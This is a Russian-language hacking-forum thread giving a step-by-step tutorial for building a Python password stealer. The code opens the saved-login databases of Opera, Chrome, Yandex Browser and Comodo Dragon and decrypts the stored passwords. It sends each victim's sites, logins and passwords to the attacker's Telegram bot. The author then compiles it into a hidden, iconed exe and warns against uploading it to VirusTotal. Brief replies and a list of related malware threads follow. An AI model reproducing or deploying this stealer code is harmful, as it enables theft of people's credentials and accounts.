Пишем свой стиллер на Python

Traven

Original poster
Pro Member
Сообщения
117
Реакции
59
Посетить сайт
Копипаст

Пришло время написать свой собственный стиллер на чудном языке Python. Оформление,заголовки и куски текста, я буду брать из

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.

, ибо есть повторяющееся моменты, а делать рерайт на них, я не вижу смысла)
Словарик с терминами,которые я буду использовать :
IDLE/IDE - среда для разработки программного обеспечения.
Библиотека/модуль
- написанные коды/функции,которые подключаются к нашей программе.
pip - система для установки пакетов(Для Python).
Переменная - ячейка в памяти,которая имеет свое уникальное название и может хранить определенную информацию
Функция - часть кода, который имеет свое уникальное название по которому его можно запустить/вызвать
Цикл - действие, которое будет повторятся N-ное количество раз и может зависит от определенного условия


Комментарии будут отмечены решеточкой - #

Установка Python
Переходим на официальный сайт PythonА -

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.

. Скачиваем 3+ версию и устанавливаем ее.


Суть работы стиллера
Программа проверит наличие папок от указанных браузеров, при наличии - подключится к базе данных(LoginData) и достанет от туда сохраненные логины,пароли от сайтов. После полученные данные программа отправит от имени бота в чат телеграм. Вот и все)

Создадим своего бота
Как по мне, очень удобно при частом пребывании в телеграме получать в личные сообщения логи со стиллера. Поэтому мы создадим своего бота, который будет нам отправлять украденные логины и пароли.
Для начала мы должны создать нашего бота, в этом нам поможет @BotFather, запускаем с ним диалог и создаем нового бота,которому мы должны придумать имя с окончанием "_bot". После BotFather выдаст нам token для управления нашим ботом.
Код:
/start
/newbot

После всех вышеперечисленных действий мы должны перейти по ссылке, отправить боту любое сообщение с нужного вам аккаунта и обновить открытый сайт, в итоге мы получим кучу разных данных, в которых нам нужно найти и сохранить chat id.
Код:
https://api.telegram.org/botВашToken/getUpdates #перейти по данной ссылке
"chat":{"id":вашid #найти chatid в информации

Посмотреть вложение 7364

С ботом мы разобрались, идем дальше.

Начинаем кодить
Сначала нам нужно установить библиотеки, которые будут использованы в нашей программе
Для этого запустим терминал(cmd) и обновим питоновский установщик пакетов.
Код:
pip install --upgrade pip

После обновления установим 2 нужные нам библиотеки,pyTelegramBotAPI pywin32 и telebot

Код:
pip install pyTelegramBotAPI
pip install pywin32
pip install telebot

______________________________________________________________________________________
В самом начале программы, мы должны подключить библиотеки, которые мы будем использовать в нашем коде.

Код:
from os import getlogin #из библиотеки os мы импортируем функцию getlogin
#данная библиотека поможет нам получить имя пользователя компьютера
import sqlite3 #импортируем библиотеку sqlite3
#данная библиотека даст возможность работать с базами данных
import win32crypt #импортируем библиотеку win32crypt
#эта библиотека поможет расшифровать пароли из базы данных
import telebot #импортируем библиотеку telebot
#с помощью этой библиотеки мы будем отправлять сообщения от нашего бота.


_______________________________________________________________________________
Теперь нам нужно задать переменные, которые мы будет использовать.

Код:
t0ken = "ВАШ:Т0КЕН"" #переменная t0ken – в которой хранится token от бота
b0t = telebot.TeleBot(t0ken) #создаем переменную b0t – которая отвечает за создание бота и имеет атрибут в виде переменной t0ken
i=0 #переменная счетчик
name_0f_user = getlogin() # переменная, которая с помощью функции getlogin получает имя учетной записи пользователя.

_______________________________________________________________________________
Дальше мы должны создать переменные,списки с директориями возможных браузеров.

Код:
op3ra = "C:\\Users\\" + name_0f_user + "\\AppData\\Roaming\\Opera Software\\Opera Stable\\" + "Login data"
#переменная op3ra которая равна такому пути C:\\Users\\Users\\AppData\\Roaming\\Opera Software\\Opera Stable\\LoginData - где Login Data - база данных, а остальное - путь к папке браузера.
g00gle = "C:\\Users\\" + name_0f_user + "\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\" + "Login Data" #также как и выше
yand3x = "C:\\Users\\" + name_0f_user + "\\AppData\\Local\\Yandex\\YandexBrowser\\User Data\\Default\\" + "Login Data" #также как и выше
c0m0d0drag0n = "C:\\Users\\" + name_0f_user + "\\AppData\\Local\\Comodo\\Dragon\\User Data\\Default\\" + "Login Data" #также как и выше
lsdir=[op3ra,g00gle,yand3x,c0m0d0drag0n] #создаем список в котором хранятся наши переменные с директориями браузеров.
lsbr0wser=["Opera","Google Chrome","Yandex Browser","Comodo Dragon"] #создаем список с названиями браузеров, которые у нас есть. Названия расположены в порядке списка lsdir

Я добавил только 4, как по мне самых распространенных браузеров. Вы можете сами добавлять другие браузеры на движке Chromium
При добавлении/редактировании директорий, нужно использовать двойной, обратный слэш(\\), иначе будет выбивать ошибку,связанную с кодировкой.
_______________________________________________________________________________

Теперь приступим к расшифровке паролей и отправке полученных данных в телеграм.

Код:
b0t.send_message(ваш id, "Компьютер: " + name_0f_user) #для начала мы отправим в чат имя системы жертвы
#b0t - имя бота,которого мы создали в начале
#send_message - функция для отправки сообщения,которая принимает такие аргументы: id чата,который мы получили ранее и текст,который мы желаем отправить, в данном случае, слово "Компьютер:"  объединенное с переменой name_0f_user
for i in range(len(lsdir)): #запускаем цикл, который будет длится от переменной i до длины списка lsdir, от 0 до 4
    try: #попробовать сделать следующие действия, если не получится, то выполнить действия после except
        br0wser=lsdir[i] #переменной br0wser присвоим элемент списка под номером [i]
        connecti0n = sqlite3.connect(br0wser) #начинаем работу с sqllite, создаем переменную, которая равняется подключению базы данных, которая находится по адресу br0wser
        curs0r = connecti0n.cursor() #создаем переменную curs0r, которая отвечает за создание объекта для взаимодействия с базой данных
        curs0r.execute('SELECT origin_url, username_value, password_value FROM logins') #переменной curs0r мы говорим достать из базы данных нам такие значения - origin_url(ссылка на сайт где был введен логин и пароль),username_value(логин), password_value(пароль)
         for ii in curs0r.fetchall(): #создаем цикл, который будет длится от нуля(ii), до всех значений, которые можно получить из базы данных(curs0r.fetchall)
             d3cryptpass = win32crypt.CryptUnprotectData(ii[2]) #переменной d3cryptpass присваиваем значение расшифровки пароля(второго элемента в списке значений, добытых из базы данных), функцией CryptUnprotectData(библиотека win32crypt)
             b0t.send_message(id_вашего_чата, lsbr0wser[i]) #в чат от имени бота отправляем сообщение с i-тым элементом из списка текстовых названий браузеров.
             b0t.send_message(id_вашего_чата, "----------------------------") #отправляем от имени бота сообщение в чат с разделительной линией/украшением
             b0t.send_message(id_вашего_чата, "Сайт: " + ii[0]) #в чат от имени бота отправляем слово "сайт" + нулевой элемент в списке
             b0t.send_message(id_вашего_чата, "----------------------------") #отправляем от имени бота сообщение в чат с разделительной линией/украшением
             b0t.send_message(id_вашего_чата, "Логин: " + ii[1]) #в чат от имени бота отправляем слово "логин" + первый элемент в списке
             b0t.send_message(id_вашего_чата, "----------------------------") #отправляем от имени бота сообщение в чат с разделительной линией/украшением
             d3cryptpass=str(d3cryptpass) #переменной d3cryptpass- присваиваем значение d3cryptpass, только переводим ее в текстовый тип данных(str)
             b0t.send_message(id_вашего_чата, "Пароль: " + d3cryptpass) #в чат от имени бота отправляем слово "пароль" + переменную d3cryptpass
             b0t.send_message(id_вашего_чата, "----------------------------") #отправляем от имени бота сообщение в чат с разделительной линией/украшением
    except: #если действие после try не заработало/выдало ошибку, то выполнить действие после except
        b0t.send_message(id_вашего_чата,"Браузер " + lsbr0wser[i] + " был запущен, или не установлен") #в чат от имени бота отправляем слово "браузер" + i-тый элемент в списке с названиями браузеров(lsbr0wser) + сообщение об ошибке

Теперь я попытаюсь объяснить суть вышеописанного кода на "простом" примере)

Жертва запускает наш стиллер, программа пробует(try) пройтись по нулевому элементу в списке и подключится к базе данных,если у нее это получается, то она собирает данные и отправляет в чат телеграм, если что-то не получается, то программа не крашится, а выполняет действие указанное(except) в случае ошибки. Дальше программа проходит второй круг(при втором круге счетчик i увеличивается на один), но уже по первому элементу в списке и выполняет все как и раньше. Так будет происходить, пока работает цикл, а он работает от нуля до длины списка с директориями.


Компилируем в exe
Ясное дело, что python скрипт мы не будем распространять, поэтому мы скомпилируем его в exe файл. Для компиляции нам нужно будет установить специальную утилиту pyinstaller для компиляции py в exe
Код:
pip install pyinstaller
После установки мы должны открыть папку с нашей программой на питоне и запустить pyinstaller с такими аргументами
-F соберет все файлы в один exe файл
-w отключит консоль
-i *путь к иконке* аргумент,который подключит к программе иконку
Код:
CD C:\compile
pyinstaller -i i.ico -F -w stealer.py
#В терминала переходим в папку C:\compile
#вызываем pyintaller, где i.ico - иконка расположенная в папке compile;stealer.py - наш питоновский скрипт, расположенный в папке compile
После в папке dist появится наш код скомпилированный в EXE. У меня готовый стиллер запускается за 5 секунд и имеет вес в 6 мегабайт.
Проверить на детекты, я не смог, ибо viruschekmate,ScanMyBin - сдохли,nodstribute+virustotal - сливают данные(не суйте туда стиллер)), поэтому информация про "чистоту" остается для вас и для меня интригой)

Исходник и заключение
Исходники вы можете скачать по ссылке -

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.


Посмотреть вложение 7365
Так приходят логи, пароль находится между символом b' и '

Вся информация написана в целях ознакомления, автор не несет ответственность за использование данного материала
 
J

JRD

0 вместо о и 3 вместо e, для того, чтобы не копировали код?
 
J

JRD

op3ra = "C:\\Users\\" + name_0f_user + "\\AppData\\Roaming\\Opera Software\\Opera Stable\\" + "Login data"
#переменная op3ra которая равна такому пути C:\\Users\\Users\\AppData\\Roaming\\Opera Software\\Opera Stable\\LoginData - где Login Data - база данных, а остальное - путь к папке браузера.
g00gle = "C:\\Users\\" + name_0f_user + "\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\" + "Login Data" #также как и выше
yand3x = "C:\\Users\\" + name_0f_user + "\\AppData\\Local\\Yandex\\YandexBrowser\\User Data\\Default\\" + "Login Data" #также как и выше
c0m0d0drag0n = "C:\\Users\\" + name_0f_user + "\\AppData\\Local\\Comodo\\Dragon\\User Data\\Default\\" + "Login Data" #также как и выше
lsdir=[op3ra,g00gle,yand3x,c0m0d0drag0n] #создаем список в котором хранятся наши переменные с директориями браузеров.
lsbr0wser=["Opera","Google Chrome","Yandex Browser","Comodo Dragon"] #создаем список с названиями браузеров, которые у нас есть. Названия расположены в порядке списка lsdir
 

Traven

Original poster
Pro Member
Сообщения
117
Реакции
59
Посетить сайт
op3ra = "C:\\Users\\" + name_0f_user + "\\AppData\\Roaming\\Opera Software\\Opera Stable\\" + "Login data"
#переменная op3ra которая равна такому пути C:\\Users\\Users\\AppData\\Roaming\\Opera Software\\Opera Stable\\LoginData - где Login Data - база данных, а остальное - путь к папке браузера.
g00gle = "C:\\Users\\" + name_0f_user + "\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\" + "Login Data" #также как и выше
yand3x = "C:\\Users\\" + name_0f_user + "\\AppData\\Local\\Yandex\\YandexBrowser\\User Data\\Default\\" + "Login Data" #также как и выше
c0m0d0drag0n = "C:\\Users\\" + name_0f_user + "\\AppData\\Local\\Comodo\\Dragon\\User Data\\Default\\" + "Login Data" #также как и выше
lsdir=[op3ra,g00gle,yand3x,c0m0d0drag0n] #создаем список в котором хранятся наши переменные с директориями браузеров.
lsbr0wser=["Opera","Google Chrome","Yandex Browser","Comodo Dragon"] #создаем список с названиями браузеров, которые у нас есть. Названия расположены в порядке списка lsdir
Честно хз))
 
  • Like
Реакции: JRD
Название темы
Автор Заголовок Раздел Ответы Дата
A Пишем свой RAT на Python > {Часть 1} Уязвимости и взлом 3
U Интересно PHP - Пишем свой фишинг скрипт для кражи тт аккаунтов {Уровень: EASY} Другие ЯП 10
S Пишем свой перехватчик СМС Android Другие ЯП 3
A Delphi для начинающих – Урок 6 – Пишем свой калькулятор С/C++ 0
E [PHP] Пишем свой движок 2.0 Другие ЯП 0
Ёшкин_кот Интересно Пишем любой текст на листочке который держит обнажённая девушка. 18+ Свободное общение и флейм 0
Ёшкин_кот Интересно Пишем вредоносное ПО с помощью ChatGPT. Формат mp4. English-speaking. Полезные статьи 0
L Интересно C# - Пишем Watchdog (Модуль защиты вашего трояна) .NET 2
K Интересно [Roman Akhromieiev] Telegram. Пишем ботов на Node JS и Telegraf (2020) Другое 1
sxkury Пишем малютку для скана сайта Софт от наших юзеров 6
АнАлЬнАя ЧуПаКаБрА Интересно Пишем брут на любой(почти) банк [OFX] Другие ЯП 1
T Пишем WinLocker на Delphi С/C++ 0
N Пишем отзывы и получаем от 200 рублей в день. Способы заработка 12
G Пишем парсер на Python - грабим Proxy ч.2 Бруты/Парсеры/Чекеры 0
G Пишем парсер на Python - грабим Proxy ч.1 Бруты/Парсеры/Чекеры 2
G Пишем скрипт для работы с VirusTotal-ом Полезные статьи 0
G Пишем шифровальщик на python Полезные статьи 0
Traven Пишем спамер Telegram, на Python Другое 0
Traven WinLocker на python. Пишем вирус. Другое 0
V Пишем переносной кейлоггер на C++ Полезные статьи 1
O Пишем стиллер на Batch Вирусология 15
Glods Пишем многопоточный Brute С/C++ 0
R Пишем билдер C# вариант 1 .NET 2
Support81 Важно!!! Создаем свой VPN с защищенным от блокировок протоколом AmneziaWG, или WireGuard на максималках Анонимность и приватность 3
ananda Куплю Куплю дорого свой запрос в ваших логах/строках Куплю/Продам 1
slovokek Куплю Ищу свой запрос в ваших логах, нужен лог и пасс!!! Куплю/Продам 1
sexysmm Интересно CryptoScan.one - Принимайте USDT TRC-20 на свой личный счет Ищу работу. Предлагаю свои услуги. 6
K Интересно Отработаю свой Запрос GE в ваших логах Предоставляю работу. Ищу специалиста. 1
ananda Куплю Ищу свой запрос в ваших USA логах Куплю/Продам 1
NetRay NetRay - cоздай свой VPN Сайты/Хостинг/Сервера 1
slovokek Куплю Куплю свой запрос в вашей валид базе US (mail:pass) Куплю/Продам 0
S ⏩ Как запустить свой товарный бизнес и начать зарабатывать, кейс. Способы заработка 0
L Чекну ваши базы, на свой банк 50/50 (Brute/Checker) Предоставляю работу. Ищу специалиста. 2
L Интересно C# - Критичный процесс (Защищаем свой вирус) .NET 0
H Интересно Как проверить свой браузер на утечку данных Полезные статьи 0
G Интересно Создаём свой магазин в телеграмме бесплатно. Полезные статьи 0
F Интересно Поднимаем свой IoT ботнет на основе Mirai Вирусология 4
igori9891 Сливаю свой мануал) Другое 0
B Разработка ботов под любую рутину. Разгрузи свой график! Ищу работу. Предлагаю свои услуги. 1
S wpXtube плагин для WP с возможностью организовать свой туб+ партнёрство Другое 3
L Интересно Майк Новограц: ралли биткоина только начинается, не упустите свой шанс Новости в сети 0
K Как проверить свой ПК на ратник (без антивируса) Вопросы и интересы 4
T Как сделать свой Fishing сайт? Вопросы и интересы 7
Л Интересно Окуплю валид DE Паблик/Приват на свой сервис Ищу работу. Предлагаю свои услуги. 3
S Пишу свой ботнет, что думаете? Другие ЯП 3
andre5787 Как создать свой кейлоггер без знания языков программирвония? Вопросы и интересы 5
Multi-VPN Как отключить IPv6 в Windows и не спалить свой IPv6 адрес за VPN SSH / дедики / Vpn / Proxy / Socks 0
M Защищаем свой Python скрипт за пару минут Другие ЯП 0
АнАлЬнАя ЧуПаКаБрА INLINE ру проект для тех кто не хочет покупать дедики, домены и хостинг за свой счет Проекты Private Keeper 0
B Почему не стоит светить свой IP Анонимность и приватность 0

Название темы